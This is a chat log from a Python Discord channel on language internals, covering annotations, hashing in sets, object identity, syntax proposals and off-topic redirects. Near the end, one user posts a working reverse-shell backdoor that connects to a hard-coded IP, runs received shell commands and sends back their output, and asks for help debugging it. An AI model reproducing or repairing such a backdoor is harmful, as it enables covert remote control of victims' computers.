#internals-and-peps

1 messages ยท Page 44 of 1

grave jolt
#

Well, it's even worse ^

final whale
#

those are pretty confusing to me ^^'

grave jolt
#

You can look into dataclasses if you want a useful use case.

final whale
#

I use those a lot to format json data, with no understanding on how the backstage works thought

grave jolt
#

!e

class Hello:
    a: str
    b: int = 42

print(Hello.__annotations__)
fallen slateBOT
#

@grave jolt :white_check_mark: Your eval job has completed with return code 0.

{'a': <class 'str'>, 'b': <class 'int'>}
grave jolt
#

!e

def dumpinfo(cls):
    for name, annotation in cls.__annotations__.items():
        print(f"{name}: {annotation} = ", end="")
        if hasattr(cls, name):
            print(getattr(cls, name))
        else:
            print("<undefined>")
    return cls

@dumpinfo
class Hello:
    a: str
    b: int = 42
    c: "hello world" = ((()))
fallen slateBOT
#

@grave jolt :white_check_mark: Your eval job has completed with return code 0.

001 | a: <class 'str'> = <undefined>
002 | b: <class 'int'> = 42
003 | c: hello world = ()
final whale
#

so annotations are actually stored with the object itself

grave jolt
#

yep

#

The same goes for function annotations.

low glen
#

Hello all

#

I am really new here

#

trying to learn python

#

name = ''
while True:
print('Please enter your name?:')
name = input()
if name != '':
break
print('Thank you')

#

the above code works fine but i do not understand why i need to have name = ' ' before writing the code. How doe "While" connect to name = ' '?

grave jolt
meager peak
#

Hello

low glen
#

okay

pliant tusk
#

!e ```py
def dumpinfo(cls):
for name, annotation in cls.annotations.items():
print(f"{name}: {annotation} =", getattr(cls, name, "<undefined>"))
return cls

@dumpinfo
class Hello:
a: str
b: int = 42
c: "hello world" = ((()))```

fallen slateBOT
#

You are not allowed to use that command here. Please use the #bot-commands channel instead.

pliant tusk
#

๐Ÿ˜ฆ

#

@grave jolt wouldnt that work? ^

grave jolt
#

yep, it would

hallow vault
#

Hello can someone teach me how to code of know where I can learn to code using the python language

twilit garnet
#

nobody's gonna teach you to code for free, but have you checked out our resources page? it has a whole load of resources you can use to learn python ^^

#

!resource

fallen slateBOT
#
Resources

The Resources page on our website contains a list of hand-selected learning resources that we regularly recommend to both beginners and experts.

hallow vault
#

Oh really?

tender raptor
#

anyone here that knows f sharp? I can pay for help

hallow vault
#

Is it easy?

tender raptor
#

@twilit garnet i can pay ya if you know f sharp and can help me

worldly venture
#

@tender raptor 1) this is python-language, it is not for any off topic discussion (of which f-sharp is not part of the topic in this channel) 2) we don't allow any form of recruitment in this server, see rule 6 in #rules

hallow vault
#

@worldly venture wait could you possibly know the basics for python?

worldly venture
#

That's also off topic for this channel

hallow vault
#

Oops my bad joe @worldly venture what is suppose to be discussed on this channel?

worldly venture
#

specifics on the implementation of python, see the topic, you should probably ask in #python-discussion, but you have been pointed above to the resources document

rich wharf
#

question

#

is this channel a good channel to ask which of two designs are better?

#

by designs I mean code designs

#

like x.get_y() vs x.y

drowsy wasp
#

im looking to learn how to code plz help

#

im new and im dumb

#

plz help

deft pagoda
#

this is the wrong channel jokes2

drowsy wasp
#

ok my bad

rich wharf
#

question

#

is this the right channel for asking which of two code designs is better

#

more readable and more concise

deft pagoda
#

i suppose you can ask design questions, seems reasonable

rich wharf
#

alright

#

Question, what syntax is preferred for allowing GUI callbacks?

@window['#identity'].on('click')
def callback(button):
  print(f'The button {button.id} was clicked!')
#OR
@window('#identity').on('click')
def callback(button):
  print(f'The button {button.id} was clicked!')
#

should I use window['#identity'] or window('#identity')

#

to get the element from window with the id 'identity'

deft pagoda
#

i'd use () only because i think the __getitem__ thing was only recently allowed syntactically

rich wharf
#

alright

#
@window('#identity').on('click')
def callback(button):
  print(f'The button {button.id} was clicked!')
#

does this seem readable to an average user who has never seen my application but knows Python then?

deft pagoda
#

or was it the . that was allowed

peak spoke
#

recently would be in the future in this case

rich wharf
#

is window('#identity') a good idea or should I use something more like window.element_from_id('identity')

deft pagoda
#

ah it's a 3.9 thing?

rich wharf
#

even though window.element_from_id('identity') might not work for complex cases

peak spoke
#

yep, full expressions beacme valid in 3.9

deft pagoda
#

ok, well definitely don't use getitem then

rich wharf
#

huh

#

is window('#identity') better then window.get_element_from_id('identity') or window(gui.Id('identity'))

peak spoke
deft pagoda
#

i think this was one of the use cases for the pep too

#

button callbacks

rich wharf
#

yeah

#

question, what's the best way for me to select an element then

#

should I make it so you can do window('#identity')

#

or is window.get_element_from_id('identity') prefered

#

or even window(gui.Id('identity')) using a custom object selector

deft pagoda
#

i mean i prefer the less wordy version, but i'm not a gui programmer

rich wharf
#

I actually prefer window('#identity')

#

but I want to know what people prefer since I want to publish this

#

and open source it

#

window('#identity') is just like jquery $('#identity')

drowsy wasp
#

hey guys quick question how can I make a log to record when people try to hit me offline
ik this is basic and pointless but plz help lol

worldly venture
#

@drowsy wasp as mentioned above, not the channel for this

rich wharf
#
w = Window('My Window Name', [
  ['A Column', 'Another Column'],
  ['Another Column', 'This is Great'],
  UnsizedRow(['Enter Username', Entry()]),
  UnsizedRow(['Enter Email', Entry(id = 'enter-email')]),
  'This is centered text which is part of no row',
  Button('submit', id = 'submit')
])

@w('#submit').on('click')
def callback(button):
  print('Hello world!')
  print(f'You entered: f{w("#enter-email").text}')

Is this readable?

gentle lodge
#

well it's weird anyway

rich wharf
#

How so?

#

@gentle lodge can you elaborate?

gentle lodge
#

that second arg to Window ... it's a list of what now?

rich wharf
#

That's the layout list

#

It's a list of rows

gentle lodge
#

sometimes pairs of strings, sometimes UnsizedRows? Does some existing API force you to do that?

rich wharf
#

no, this is a design choice and it's not finished yet

#

'TEXT' is converted to a text widget

#

Text('TEXT')

#

UnsizedRow is a row where all of the elements inside of it aren't split and are right next to each other

gentle lodge
#

well given that I had no context, I'd say that's not bad

rich wharf
#

essentialy

languid dagger
#

Guys, this really isn't the channel to discuss how readable your code is

gentle lodge
#

I'd write out the Text('text') myself

rich wharf
#

I think it is, a helper said it was.

#

If not, can you point me where I should?

languid dagger
#

See the channel topic

rich wharf
#

I have, the overall design of the language, doesn't that mean I can also talk about how to design my code?

languid dagger
#

The language not your code

rich wharf
#

Oh, my bad.

#

I'll put it in a help channel then.

languid dagger
#

Thanks

rich wharf
#

No thanks necessary.

pastel crest
#

do you think python 4.0 is available

unkempt rock
#

guys, how are sets slower than lists? Am I missing something/using flawed testing?

neat pike
#

versioning isn't a mathematical number
3.9 doesn't have to be followed by 4.0

gloomy rain
#

@unkempt rock Slower for what?

unkempt rock
#

let me show my testcase

#

Rather superficial, gonna warn you

from timeit import Timer
a = Timer('a = len({1, 2, 3})', 'b = sum({1, 2, 3})').timeit()
b = Timer('a = len([1, 2, 3])', 'b = sum([1, 2, 3])').timeit()
c = Timer('a = len((1, 2, 3))', 'b = sum((1, 2, 3))').timeit()
#

Are they speedy somewhere else?

neat pike
#

sets are not really designed for a performance approach to problems

unkempt rock
#

Is it more of a memory saving measure (as you're not using indexing)?

gloomy rain
#

@neat pike That's a bit misleading.

#

Sets are optimized for membership tests.

neat pike
#

yes

gloomy rain
#

x in my_set is O(1) for sets, whereas it is O(n) for lists.

neat pike
#

this makes sets useful for "mathematical sets" operations

#

the fact that they prevent duplicates can also be useful

gloomy rain
#

@unkempt rock You can think of a set as a dictionary without values.

mental reef
#

i dont get why use lamda instead of noraml func(im just starting to learn now)
it only shortens codes

#

is there anything im not seeing

unkempt rock
#

The membership test explaination is nice

neat pike
#

@mental reef lambda are useful when manipulating functions as object (which they always are of course)
defining the function you pass as argument to another function directly

unkempt rock
#

lambda is also good for function generators and generaly for a lot of stuff if you're into the fuctional paradigm

mental reef
#

ok tq

neat pike
#

@gloomy rain are sets actually implemented like hash tables without values?
I know they are in some languages

gloomy rain
#
def double(x):
  return x * 2

map(double, [1, 2, 3])

vs

map(lambda x: x*2, [1, 2, 3])

The second is more compact.

@mental reef ^

#

@neat pike I'm like 99% certain that's the case.

#

They definitely require entries to be hashable, so it would make sense.

neat pike
#

If it's the case, it's not done directly though

>>> isinstance(True, int)
True
>>> isinstance(set(), dict)
False
>>> ```
#

oh I'm stupid

#

having sets be actual **dicts** would require implementing all dicts methods

#

calling .values on a set wouldn't make much sense
.keys not much either

gloomy rain
#

Indeed, CPython's sets are implemented as something like dictionaries with dummy values (the keys being the members of the set), with some optimization(s) that exploit this lack of values
From some random SO thread

neat pike
#

maybe there is an abstract class from which they both come, or something more hardcoded

#

the keys being the members of the set
why

#

why not just None

gloomy rain
#

Why not just None what?

#

What should be None?

neat pike
#

I think None is a constant, not some null pointer

gloomy rain
#

I'm not sure what you're referring to.

neat pike
#

I misread

#

I thought they were using the members of the set, of course as the keys, but also as respective values

gloomy rain
#

Ah, nope.

raven ridge
#

Note also that a O(1) algorithm with a high constant can perform worse than a O(N) algorithm with a low constant, especially for low values of N

gloomy rain
#

Ah, yeah, it's not really worth using a set for membership tests unless you have a lot of entries.

neat pike
#

these constants were probably documented somewhere
along what is being used to hash etc.

gloomy rain
#

I think for smaller N, tuples > lists > sets.

#

@neat pike The hash function is defined by __hash__()

#

So you can customize it.

neat pike
#

set.__hash__ is None

gloomy rain
#

No, for the entries.

neat pike
#

yes

#

but I'm talking about the default hashing algorithm

raven ridge
#

tuple and list should be pretty close, performance-wise - both are contiguous arrays. but yeah, for small N, both should outperform set in terms of membership tests.

neat pike
#

it should be consistent along the entries of one instance of set

gloomy rain
#

The default hash for each builtin type is defined somewhere, yes.

#

It's type-specific.

raven ridge
#

there is no default hash for object, because not all objects are hashable. Nor do all hashable objects share a common base class, so there's no way to inherit a default hash.

neat pike
#

small enough integers just return themselves as a hash

raven ridge
neat pike
#

something more is done besides the own types __hash__

#

first there is the problem of set containing various types

#

and just, if we were only relying on the elements __hash__ it wouldn't work

raven ridge
#

tp_hash is the C name for what is called __hash__ in Python.

gloomy rain
#

@neat pike Why?

neat pike
#
>>> myset = {1}
>>> 18446744073709551609 in myset
False
>>> x = 18446744073709551609
>>> y = 1
>>> x.__hash__()
1
>>> y.__hash__()
1
>>> ```
gloomy rain
#

That's not how hash tables work.

#

It only uses the hash to decide on the bucket.

#

A hash collision just means it needs to do a linear search in that bucket to find the element in question.

#

It doesn't use the hash to identify the object itself.

raven ridge
#

that's why every type that defines __hash__ also needs to define __eq__, and enforce the constraint that if two objects compare equal they must also hash to the same value.

gloomy rain
#

If you have a custom class and define __hash__() to return the same value for every instance, the set will still work, it'll just have O(n) membership instead of O(1).

flat gazelle
#

two objects in a set are only considered identical if hash(a) == hash(b) and a == b

#

also, all user made classes default to a hash of id(x) // 16 afaik

neat pike
#

oh right you can't hash mutable types

flat gazelle
#

you can in theory, but in practice it is not all that useful to do so

gloomy rain
#

You can have mutable types, you just can't let the hash value change.

neat pike
#

I mean from what Python allows

#

I was wondering why your test didn't include memory location but if it's only immutable it's ok

gloomy rain
#

So whatever properties of the instance are used to derive the hash value and the eq function must be immutable.

raven ridge
#

Python does allow mutable (user defined) types to hashed, as long as they don't override the default equality behavior (by default, for a user defined type, == is equivalent to is, and so it doesn't matter whether it's mutable, because no other value could ever be equal to it anyway, and so it can be hashed by its memory address)

#
In [33]: a = X(10)

In [34]: hash(a)
Out[34]: 8564098593393

In [35]: a.val = 20

In [36]: hash(a)
Out[36]: 8564098593393
flat gazelle
#

well, there is nothing exactly stopping you from making a class like this

import secrets
class U:
    def __hash__(self):
        return secrets.randbits(6)
```it does sort of work too in a set, but in a dict it is a bit meaningless
raven ridge
#

in what sense does that "sort of work"?

In [37]: import secrets
    ...: class U:
    ...:     def __hash__(self):
    ...:         return secrets.randbits(6)
    ...: 

In [38]: a = U()

In [39]: a in {a}
Out[39]: False
gloomy rain
#

I don't see how that would work for a set.

flat gazelle
#

you can still iterate through the set and get almost all the elements

#

but yeah, generally a bad idea to do this

gloomy rain
#

It completely defeats the point of using a set if you can't do membership tests.

raven ridge
#

the contract for __hash__ is that it must return an int, and if two objects compare equal they must return the same int. Returning a different int for the same object violates the contract of __hash__, and breaks any hash-based container that tries to use it

#

the language doesn't stop you from doing it, but it's still a violation of your contract with the interpreter - you've implemented a magic method that doesn't do what it's required to do.

slim island
ionic condor
#

I made this little code for testing and I want something to happen while I keep a mouse button pressed, it works perfectly with the "Middle" and "right" buttons, but with the "left" it doesn't work, why?

crystal tusk
#

Hello! Well am a novice in python. I have a project that demands me to create an app so I decided to go in for tic tac toe. Am at the level of making the buttons work now i.e the function I need to make the buttons work properly. Am using classes just to note. Need some help please.

#

No

#

Tkinter ad with classes

steady pier
#

which channel do i go to for help when my error is UnboundLocalError: local variable 'amount' referenced before assignment

jolly beacon
#

do you people teach python

#

nvm

spring pier
#

lol

tacit sinew
#

In Pycharm, How can I switch to the testing area (Run area) to type in input values to test my codes, without having to use the mouse to click in that box down there?

full jay
#

@tacit sinew The folks in #tools-and-devops might know. It's possible it could be a keyboard shortcut you could assign, but I'm not for certain

tacit sinew
#

Oh I thought this is the right channel.. Thanks for the heads up!

full jay
#

Any time

placid wasp
#

what abou graphs in python?

gray mirage
#

How about matplotlib

flat gazelle
#

If you mean graphs as in edges and verticies, networkx

haughty bison
#

Hi guys! Can someone explain me how to use raw sockets in python and what are they?

open totem
#

why is option not defined here

low lagoon
placid wasp
#

If you mean graphs as in edges and verticies, networkx
@flat gazelle ????

#

Yes

#

Like search algorithms and more

mental reef
#

i learnt python all the basics oop decoraters generators adn some intermediat stuffnow before i start using guis i want to make sure thath im good with normal python before i move cause i completed that course in 2 weeks i understood everything

#

and i feel like i learnt it too quick

#

so want to make sure im good with it

#

waht should i do

flat gazelle
#

write some code in python

mental reef
#

yeah what to build
i am dumb ik all the code and sytax but am not good with thinking creativly

#

So I want some project ideas

#

Or

#

A place that's has some good number of project ideas

spice pecan
unkempt rock
#

Is there a standard way of defining a dicitonary without assigning it an actual key or value?

flat gazelle
#

{}

unkempt rock
#

Oh lol

mossy ore
#

is it possible to define a function after the main program?

visual shadow
#

There is no such thing as a main program in python, so yes

flat gazelle
#

though do note that

if __name__ == '__main__':
    foo()
def foo():
    print('Hello')
```will not work
mossy ore
#

oh ok thank you

visual shadow
#

And no, a function with the name "main" isn't one, and no, if __name__ == '__main__' isn't one either.

mossy ore
#

gotcha

vale breach
#

anyone got any experience with the wolfram alpha api?

unkempt rock
#

though do note that

if __name__ == '__main__':
    foo()
def foo():
    print('Hello')
```will not work

@flat gazelle ```py
def foo():
print('Hello')
if name == 'main':
foo()

flat gazelle
#

I am aware, his question was relating to functions under the entry the entry point.

unkempt rock
#

ั:

umbral pendant
undone hare
#

Protected attributes aren't a thing in python, if the docs say don't call it, just don't :)

umbral pendant
#

okay

unkempt rock
#

How do i access globals of _main_ inside an import?

snow kettle
#

@unkempt rock don't imo, unless you pass them in

undone hare
#

You actually don't, that's the main purpose of main, not be accessible when imported

unkempt rock
#

I'm building a web app

#

And i don't want the whole thing inside a function

undone hare
#

The code inside it will not even be ran if you import the file

snow kettle
#

the whole thing inside a function
if the whole thing is in a single function, there are larger problems going on

visual shadow
#

Write these so called globals above the if main guard.

unkempt rock
#

I mean

#

what else can i do

undone hare
#

Even with that, the code in if __main__ == '__name__' will not be ran if you don't directly make python run that file

unkempt rock
#

I also don't want to have everything in a single file

visual shadow
#

Though I do agree that if you're calling or invoking a different file, you should pass everything explicitly

undone hare
#

You should move them outside, that's the only way

unkempt rock
#

I could try something

#

with decorators

visual shadow
#

Nah

#

Keep it simple, akarys has a good suggestion

#

If multiple files need to use the same variables, make a config/settings file of sorts out of it.

somber halo
#

I second that suggestion on centralizing those on a file of this type.

wide shuttle
#

Hey @unkempt rock, this channel is not a help channel, but a channel for discussing the Python programming language itself, from a higher-level perspective. Things like the implementation, PEPs, the future of the language, the steering council, and advanced language features. For help questions, we have up to 32 help channels available, see #โ“๏ฝœhow-to-get-help for information on how to claim one. For discord.py-specific questions, we've got a #discord-bots topical channel. Thanks!

near coral
#

I didn't even know the steering council has an election. I need to read up more on how all this is formed and how the core team is formed

wide shuttle
#

It's recent.

#

It was actually an interesting transition to watch after Guido van Rossum stepped down as BDFL.

#

I think Real Python has a blog post about it

unkempt rock
#

hello sorry in advance for the lack of knowledge and hopefully this is the right place to ask this question

#

i was just wondering what do we call these things that are within {} like {0} or {bot.user} for example? stuff within " " are strings but what about the {} ?

crisp parcel
#

ask in the available help channels

unkempt rock
#

can you point me to the right channel

deft pagoda
unkempt rock
#

Thank you

wide shuttle
swift imp
#

I think Guido is off of everything

#

He got upset from other council members bitching on twitter after the walrus operator implementation

#

And now he seems to be retiring all together. Off the council, retired from all his work

near coral
#

thanks Ves

#

I mean some sort of organization is needed to agree on what to release and when. Can't do these things in isolation or it would be chaos to Python's core.

#

surprised it is a voluntary role as it has a lot of responsibility that comes with it. I couldn't handle that and a job, more power to them.

rich wharf
#
@event.handler(5)
def callback(x, y):
  pass

What if we had a syntax more like

handle event.handler(5) as x, y:
  print(3)
#

Honestly I feel like the function just makes it less readable

#

def callback(x, y) when you don't even need it to be a function and a callback

sacred tinsel
#

I don't understand how that works

#

is handle a keyword?

rich wharf
#

In this example, yep.

#

handle takes in a function and as for arguments, then it uses the body

sacred tinsel
#

how do you chain them

rich wharf
#

chaining handles?

sacred tinsel
#

oh, you're not trying to replace decorators

rich wharf
#

handle is mainly for event handling so I don't see why you would want to

#

yeah, I'm trying to replace a subset of decorator usage

sacred tinsel
#

interesting

#

I'm finding it fairly difficult to read

rich wharf
#

I don't like the handle keyword

#

Honestly I prefer with but that's taken

#
with event.handler(5) as x, y:
  print(3)
sacred tinsel
#

I like the decorator pattern, although decorator internals are sometimes quite ugly

#

although I suppose that's the point - to abstract the ugly away

rich wharf
#

yeah, I think it's convenient

#

and I think it's especially convenient for inner decorators

#

when you want to register inner callbacks

#

also I think it's just quite a nice pattern and it helps you clarify what it is

#

using a keyword like handle removes an unnecessary line

#

it makes you see it less as a function, and more as a callback

inland acorn
#

but a callback is a function ๐Ÿค”

rich wharf
#

but it's a more specific subtype of function

#
@client.event
def on_message(message):
  print(message.content)

handle client.event('on_message') as message:
  print(message.content)

client.event('on_message', (message) => (
  print(message.content)
))```
lost nexus
#

looking a bit like js

rich wharf
#

I suppose

wide shuttle
#

I think Guido is off of everything
@swift imp

He's since the most recent steering council. He was actually a part of the first two (?) steering councils, but decided that he wants to focus on writing code/being a core dev instead of governance in his retirement as it doesn't give him that much joy. That's what he wrote in a post explaining why he'd withdrawn (he was originally a candidate for this year as well).

#

It's not like he isn't involved anymore (just look at the new parser)

true ridge
#

And now he seems to be retiring all together. Off the council, retired from all his work
@swift imp He is in fact very active on CPython itself via the recent PEP 617.

radiant fulcrum
flat gazelle
#

That will be a list of a single string afaik

radiant fulcrum
#

oh yhhhhhh

#

its just gonna format it isnt it

#

forgot that was a thing

flat gazelle
#
('ab'
 'cd') == 'abcd'
peak spoke
#

strings are neat like that

wide shuttle
#

Hello, @unkempt rock, this channel is strictly for discussing the Python programming language. It's not for more general chat. We have three off-topic channels in the category below this channel.

unkempt rock
#

Okay i apologize

magic python
#
l = [1, 2]
m = l

here m and l point to the same object in memory, as far as I understand... is there anyway to check this?

void sonnet
#

id is your friend:

>>> l = [1, 2]
>>> m = l
>>> id(l)
1917820621896
>>> id(m)
1917820621896
peak spoke
#

or is them

magic python
grave jolt
#

!e

x = [1, 2]
y = x
z = [1, 2]
print(x is y)
print(x is z)
fallen slateBOT
#

@grave jolt :white_check_mark: Your eval job has completed with return code 0.

001 | True
002 | False
grave jolt
#

Small integers are preallocated and reused, but large ones aren't:

#

!e

two = 2
x = two + two
y = two * two
print(x is y)
big = 344534534534
a = big + 1
b = big + 1
print(a is b)
fallen slateBOT
#

@grave jolt :white_check_mark: Your eval job has completed with return code 0.

001 | True
002 | False
eternal sigil
#

Does python if (condition_1 and condition_2):
suffer from the same problem of lack of short-circuit evaluation as

rules = [condition_1,
         condition_2]:
if all(rules):```
or is it evaluated the same as 
```python
if condition_1 and condition_2:```
raven ridge
#

Small integers are preallocated and reused
Note that this is a CPython implementation detail, not a general Python language feature.

orchid shore
#

Hmmmm

raven ridge
#

@eternal sigil adding braces doesn't change the way it's evaluated. if a() and b() and if (a() and b()) both short circuit. It's and that applies the short circuiting, not if.

eternal sigil
#

Much appreciated!

raven ridge
#
In [1]: def a():
   ...:     print("a")
   ...: 

In [2]: def b():
   ...:     print("b")
   ...: 

In [3]: bool(a() and b())
a
Out[3]: False
magic python
somber halo
#

it's due to their implementation of __copy__() if I recall correctly.

#

I've had to resort to these kind of copy mechanisms in the past with GUI code

brisk lion
#

can enywone help me with my code?

#

this is my code:

#

import socket
import subprocess

host=52.215.119.172
port=1337
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.send(str.encode("Backdoor running."))
while True:
data = s.recv(256)
proc = subprocess.Popen(data.decode("utf-8"), shell=True, stdout=subprocess.PIPE, stdin=subprocess.PIPE, stderr=subprocess.PIPE)
stdout = proc.stdout.read()
print(stdout)
if stdout == b'':
s.send(str.encode("Wurde gemacht"))
s.send(stdout)

#

and the error is:

#

Traceback (most recent call last):
File "<stdin>", line 1, in <module>
NameError: name 'host' is not defined

raven ridge
brisk lion
#

thx

rich wharf
#
handle client.event('on_message'):
  ...
#
handle client.event('on_message') with message: #or as message
  print(message.content)
ruby spruce
#

What is this? @rich wharf

#

This is not channel for this.

rich wharf
#

Yes it is.

#

This is my idea for syntax on better handling.

#

@ruby spruce This channel is about the implementation and design of the python language.

#

Suggesting python language designs is in the bounds of this channel.

ruby spruce
#

Hmm... I don't think we need new keyword handle only for discord.py

rich wharf
#

This could be used for many libraries that want event handling

#

It's clear and concise and abstracts away the function definition

ruby spruce
#

Something like this is with

rich wharf
#

with is for context managers

#

It executes code before and after execution

#

It's handy, but it isn't good for callbacks

#

The with body is no function

ruby spruce
#

Then decorators

merry pollen
#

i mean what's the advantage over like

@client.event
def handler(message):
    ....
#

it like, saves a line, i guess, but yknow no new keyword

rich wharf
#

I think the advantage is it makes intent cleaner

#

And it's also quite nice.

#

You don't need a decorator and the callback is anonymous

#

You could also use async handle for asyncio

#
async handle client.event('on_message') with message:
  print(message.content)
  await message.channel.send('Hello World')
#

It could possible help beginners

grizzled vigil
#

@rich wharf I can almost guarantee that handle ... won't become a new statement for the language based on that reasoning in isolation. For pretty much any change to the stdlib, it has to have strong practical use cases with clearly defined real-world examples, but the bar is even higher for built-ins for the language. I really don't see a strong practical advantage for it over using a decorator.

#

Backwards compatibility would be a huge factor as well, considering the popularity of handle as arg, kwarg, function, and local variable names

#

If you're serious about the proposal, you could formally propose it in the python-ideas@python.org mailing list. But you'd have to very much flesh it out and come up with insanely strong arguments to justify the breakage. Especially after the amount of breakage in the 2->3 transition, we (the Python core development team, which I recently joined) are very hesitant to repeat that for anything that isn't absolutely essential.

torpid bridge
#

One of the original languages I worked with when I was first learning was Inform

#

And it did have that neat structure that really does serve event-driven things well. Before, after, instead of keywords

#

Rule tables

#

It does however lead to harder to follow code in many cases and might not be the best of fits for python. But you can definitely use decorators for the same purposes

#

An example could be:

#
@event
def do_thing():
  print(1)

@before(do_thing)
def a():
  print("Before thing")
#

This could be a global registry (which is not the best of choices, but might be worth it, or something else I haven't thought of) that would support handling in a pythonic way and matches what a lot of other libraries (flask, etc) do. I know C# uses similar tools via annotations, and Rust via macros

#

But they do all share the "code immediately before function definition" structure, which IMO does make a lot more sense than a new block type

#

I believe you could in fact write something that would allow you to modify python functions with @before and @after, but you'd have to probably play with __call__ or __code__ and it would probably be cleaner to "eventify" them with a special decorator first

rich wharf
#

@grizzled vigil This wouldn't break backwards compatibility since decorators would still exist

#

And it probably won't be added, but it is an interesting idea

grizzled vigil
#

@rich wharf The backwards compatibility is a concern because of using handle as a statement, not the functionality described. It would be incompatible w/ existing code that uses handle for other purposes, such as what I described in the above message.

rich wharf
#

oh, that's true

#

Variable Properties Assignment

#
class x:
  y = 3
  z = 4
{y, z} = x
print(y) #3
print(z) #4
#

Unpacking and Variable Properties in Function

#
class x:
  y = 3
  z = 4
def func({y, z}, (a, b), i):
  print(y, z, a, b, i)
func(x, (6, 7), 5)
#3 4 6 7 5
raven ridge
#

{y, z} = x where x is a class would require a ton of new semantics to be added to the language. You'd need to define an ordering for all of the properties of a class, including attributes inherited from parent classes, or added by a metaclass, or added by setting an attribute after the class was defined. And what would it mean for a class with a __getattr__ or __getattribute__?

torpid bridge
#

You might just restrict it to "same names as attributes", so {x, y} goes for attributes x and y. But I think that might be a bit too magic.

#

You could instead take a page out of namedtuple's book and write a function to do this:
x, y = getallattr(x, "x y")

raven ridge
#

Already exists.

In [14]: class x:
    ...:     y = 3
    ...:     z = 4
    ...: 

In [15]: import operator

In [16]: operator.attrgetter("y", "z")(x)
Out[16]: (3, 4)
deft pagoda
#

i've found my first non-academic use-case of .send that really cleaned a lot of repeated logic i had

pastel crest
#

is dan bader in this group

unkempt rock
#

i mean what's the advantage over like

@client.event
def handler(message):
    ....

@merry pollen #discord-bots

cloud crypt
#

this was fully related to the conversation, no need to redirect them

deft pagoda
#

i didn't understand the proposed syntax

raven ridge
#

@deft pagoda - what was the use case for .send? I've yet to find one, myself.

river needle
#

if level == 1: time = [] intensity = [] for t in range(-2000, 2000): x = velocity_exo * t time.append(t)

#

I'm trying to make values for t = -50, -25, 0, 25, 50

#

how do i can ge this part so t on the x-axis has those values

deft pagoda
#

i hid a lot of repeated logic in a generator --- but i needed a way to modify one of the items it yielded occasionally

#

it's here

#

generator is on line 19

#

the __or__ and __xor__ methods actually use .send

cloud crypt
#

still dreaming about None-aware operators

#

makes working with None defaults extremely convenient

deft pagoda
#

i feel like a ? could be pretty useful to have around

undone hare
#

Can mypy deal with none safety?

gray mirage
#

I would also vote for None-aware operators

#

It wasn't rejected though, was it?

undone hare
#

I'd think it was rejected tbh, it doesn't really follow the python philosophy

#

!pep 505

fallen slateBOT
#
**PEP 505 - None-aware operators**
Status

Deferred

Python-Version

3.8

Created

18-Sep-2015

Type

Standards Track

undone hare
#

Well, deferred

#

The code examples look actually weird

deft pagoda
#

i think it looks fine, though i dunno why they proposed double question mark

#
self.files = files ? []

single seems fine

raven ridge
#
self.files = files ? []

single seems fine
@deft pagoda

that's a call to the proposed maybe-subscript operator, if you remove the insignificant spaces.

deft pagoda
#

well, unpropose that

glad goblet
#

hi

raven ridge
#

If you required parentheses, you could do (a else b) without introducing a new operator... But without requiring parens it would be ambiguous in a ternary context.

glad goblet
#

whats async and when is it used?

deft pagoda
#

a else b, doesn't look awful --- i've wanted inline ifs before, but with generator syntax... do_something() if cond

#

PEG parser could maybe allow them to explore some of these

glad goblet
#

whats async and when is it used?
?

deft pagoda
#

async is a module with an event loop for writing asynchronous programs

unkempt rock
#

but i want to say acc to my knowledge, async aspect of python is not good so

#

if you want to use any async features your program or other, depends on your software (Web or desktop or other ) i suggest other frameworks or languages maybe. Nodejs -> web, c# -> desktop ..

gray mirage
#

I'm not really sure what's wrong with async in python?

true ridge
#

but i want to say acc to my knowledge, async aspect of python is not good so
saying just 'not good' is not a valid claim.

gray mirage
#

It's one of the nicer async APIs I've used

wide shuttle
#

I'm a member of quite a few language communities and typically when people come into a language-specific channel/community and say "this doesn't work in this language, just use that language" and it usually means "I'm familiar with how it works in x, I'm not familiar with how it works in y, and the way you do it in y is slightly different, and so y is bad"

unkempt rock
#

Damn, I mean I was that person a few months ago lol.

flat gazelle
#

very few language features are actually straight up better than another languages feature

unkempt rock
#

Python already occupied my heart and even C#'s beep noise method won't make me love C# even tho I felt nice when I ran that program and it was like *Beep!

flat gazelle
#

try printing '\a' in python

unkempt rock
#

๐Ÿ˜ฉ

flat gazelle
#

I guess it does not beep on android

unkempt rock
#

Wait is it supposed to beep?

gray mirage
#

I think \a is the bell character, yeah

flat gazelle
#

^

unkempt rock
#

Let me run it on my desktop, omh don't make me melt...

gray mirage
#

not all terminals actually beep when it's printed anymore

flat gazelle
#

it does in cmd, powershell and WSL

unkempt rock
#

:( It did not beep it just returned "\x0x".

#

I ran a Python console from the Run box and it didn't beep!

gray mirage
#

mine beeped

#

although I just realised this is probably the wrong channel for this

unkempt rock
#

Nope, not even PowerShell in Visual Studio Code didn't beep.

#

Yeah

#

Guys i want to clear sth:

#

i said that before "async is not good with python" ok, but i want to say really it

odd umbra
#

\a is suppose to beep ?

unkempt rock
#

Python's async module and async and threaded programming features is weak to another programming languages or frameworks that build for best async programming. I am saying who familiar with web technologies, they already know that django vs node.js -> async programming, Node.js is entirely built for async web programming.

odd umbra
#

I didn't heard anything

unkempt rock
#

Same

odd umbra
#

in vsc or in my terminal, nothing

unkempt rock
#

Yup, yup.

flat gazelle
#

python also has frameworks for better async.

#

it is not just asyncio, there are even option which do not need await at all and do everything automatically

unkempt rock
#

So, if you want to do sth definitely async stuff with python, i suggest using 3rd party modules

flat gazelle
#

also, weak in what way? What feature does python lack that others have that makes async inconvenient?

unkempt rock
#

yes that i want to say

#

for ex; you working with web app with async features i say nodejs is best.
or you working with app that uses much amount data -> u better use python (numpy, pandas etc.)

#

if you not agree with me, you can search it deeply.

flat gazelle
#

show some some actual examples of what node does better than python

unkempt rock
#

wait

#

Is Python faster than Nodejs?
Performance/Speed
As Node. js is based on fast and powerful Chrome's V8 engine, Node. js is faster than Python, and generally one of the fastest server-side solutions around.

flat gazelle
#

aren't we talking about async? What does execution speed have to do with anything? If you are using async, you are IO bound, not CPU bound

gray mirage
#

If speed is your concern then you may be missing the point of Python

#

By the way, Django has ongoing work to add async support

deft pagoda
#

Python has speed

#

development speed

#

is unrivaled

unkempt rock
#

i want to say C

#

๐Ÿ˜„

#

and laying my back to my couch ๐Ÿ˜„

#

@flat gazelle write goole that "async app languages"

flat gazelle
#

I am finding that pretty much every language under the sun can do async one way or another

deft pagoda
#

I mean, probably you can always make your own event loop if one wants

unkempt rock
#

but at last i want to say that: "If you want to develop sth with any language, i suggest using 1 cpu and one way data transition.

deft pagoda
#

how is anything you've written related to the channel topic, btw

unkempt rock
#

